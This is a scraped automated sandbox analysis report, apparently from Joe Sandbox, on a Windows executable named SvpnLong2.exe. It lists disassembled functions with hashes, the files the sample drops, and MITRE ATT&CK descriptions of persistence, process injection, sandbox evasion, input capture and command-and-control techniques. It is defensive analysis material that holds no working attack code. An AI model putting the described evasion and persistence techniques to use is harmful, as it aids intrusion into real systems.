API ID: _getptd
String ID: csm
API String ID: 3186804695-1018135373
Opcode ID: 2559d26642461699acd73fec8e6944da1680c87c5b9b2f132ae6417cc30b6144
Instruction ID: 58cc2646f790c9f955217066197470a101e082a13ce4f77661b7c117996607f2
Opcode Fuzzy Hash: 2559d26642461699acd73fec8e6944da1680c87c5b9b2f132ae6417cc30b6144
Instruction Fuzzy Hash: AA017822100282CACF35AF3AC8506AC3368FB64B5AF694125CE4DCB705EF31C294C306

Function 0185FC18 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0185FC36

Part of subcall function 0185581C: RaiseException.KERNEL32 ref: 01855897

std::exception::exception.LIBCMT ref: 0185FC70

Part of subcall function 01853854: std::exception::operator=.LIBCMT ref: 01853870

Strings

regular expression error, xrefs: 0185FC20

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: std::exception::exception$ExceptionRaisestd::exception::operator=
String ID: regular expression error
API String ID: 958326869-2947193470
Opcode ID: 54dc49ab9a36d59352b8a96441749410c586f1224bf269000d358555d745d810
Instruction ID: 0de5babfef3b7f7676bddccee82db7d6dd82e753a40ab64b67ac8bbab7453fe3
Opcode Fuzzy Hash: 54dc49ab9a36d59352b8a96441749410c586f1224bf269000d358555d745d810
Instruction Fuzzy Hash: 1CF0A476704B4A92CB54CF55F5803897360F358388F508411DB8D87B28DF78CBA9CB00

Function 0184F130 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32 ref: 0184F166
wsprintfW.USER32 ref: 0184F184

Part of subcall function 0184EF20: FindFirstFileW.KERNEL32 ref: 0184EFF0

Strings

%s%s, xrefs: 0184F175

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: FileFindFirstFolderKnownPathwsprintf
String ID: %s%s
API String ID: 2506083511-3252725368
Opcode ID: 0661dc2061f9a05be814652cff85b28146d2b9eb2973314192fc639dd9484658
Instruction ID: b3fc3d64d16fbd25d92f901839ab267c0f89d8aa170fb81df172df8182180441
Opcode Fuzzy Hash: 0661dc2061f9a05be814652cff85b28146d2b9eb2973314192fc639dd9484658
Instruction Fuzzy Hash: E301C231314A85C2EB60DF65FD997AA7361F7D9B88F445016EA8D47618DE3CC245CB40

Function 0185DDF8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0185DDFE
__doserrno.LIBCMT ref: 0185DE09

Strings

M, xrefs: 0185DDF8

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: __doserrno_errno
String ID: M
API String ID: 921712934-3664761504
Opcode ID: 48fe3bed6d42bb3ea874eb3974db2b7b5d3d83901c7bd38dedb41ad6d47d79e0
Instruction ID: dda281345796e01c5c5355e101fe31dd4d0784186a82778b9d2e3446de0f7ad7
Opcode Fuzzy Hash: 48fe3bed6d42bb3ea874eb3974db2b7b5d3d83901c7bd38dedb41ad6d47d79e0
Instruction Fuzzy Hash: 77E0EC7350054189F793AF68F84135D2B90A7A13B9F8182129F694A6C0DB7C45C78B12

Function 01846150 Relevance: 5.1, APIs: 4, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 0184618B

Part of subcall function 01853D28: HeapFree.KERNEL32(?,?,00000000,01854940,?,?,000002C8,01853209,?,?,?,?,0185A510,?,?,00000000), ref: 01853D3E
Part of subcall function 01853D28: _errno.LIBCMT ref: 01853D48
Part of subcall function 01853D28: GetLastError.KERNEL32(?,?,00000000,01854940,?,?,000002C8,01853209,?,?,?,?,0185A510,?,?,00000000), ref: 01853D50

free.LIBCMT ref: 018461B3
free.LIBCMT ref: 018461CD
free.LIBCMT ref: 018461FB

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: free$ErrorFreeHeapLast_errno
String ID:
API String ID: 1012874770-0
Opcode ID: 926a81a16b6259c14920b2060e70d6e26c74df43b3fa4f2c08237a8ba31f8c32
Instruction ID: a76d3fa76663431c9398222250fdd8075a60c087ac9dea7166ab81c2694848e6
Opcode Fuzzy Hash: 926a81a16b6259c14920b2060e70d6e26c74df43b3fa4f2c08237a8ba31f8c32
Instruction Fuzzy Hash: 9D114F22301F8682CF56AF1AE65026DA731FBA5FC0F1864229F8E97B15EF28D6518340

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SvpnLong2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\tusyk\arphaCrashReport64.exe

C:\ProgramData\tusyk\arphaDump64.dll

C:\Windows\Temp\49ba59abbe56e057.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
SvpnLong2.exe

Function 01843560 Relevance: 43.9, APIs: 11, Strings: 14, Instructions: 188
librarystringprocessCOMMON

Function 018414C0 Relevance: 38.7, APIs: 14, Strings: 8, Instructions: 174
libraryloaderregistryCOMMON

Function 01844530 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 145
librarymemoryloaderCOMMON

Function 01850180 Relevance: 21.6, APIs: 8, Strings: 4, Instructions: 568
COMMON

Function 018574B8 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 292
timeCOMMONLIBRARYCODE

Function 00B78C09 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 251
networkmemorynativeCOMMON

Function 01841E80 Relevance: 13.7, APIs: 9, Instructions: 220
memorythreadCOMMON

Function 018417D0 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 112
libraryloaderregistryCOMMON

Function 01841BF0 Relevance: 19.7, APIs: 13, Instructions: 152
networktimeCOMMON

Function 01841AC0 Relevance: 16.6, APIs: 11, Instructions: 75
sleepnetworkCOMMONLIBRARYCODE

Function 01844430 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 58
windowregistryCOMMON

Function 018421C0 Relevance: 13.6, APIs: 9, Instructions: 97
networkCOMMON

Function 01851D10 Relevance: 12.1, APIs: 8, Instructions: 138
memoryCOMMON

Function 01850682 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 223
registryCOMMON

Function 018530BC Relevance: 9.1, APIs: 6, Instructions: 63
threadCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre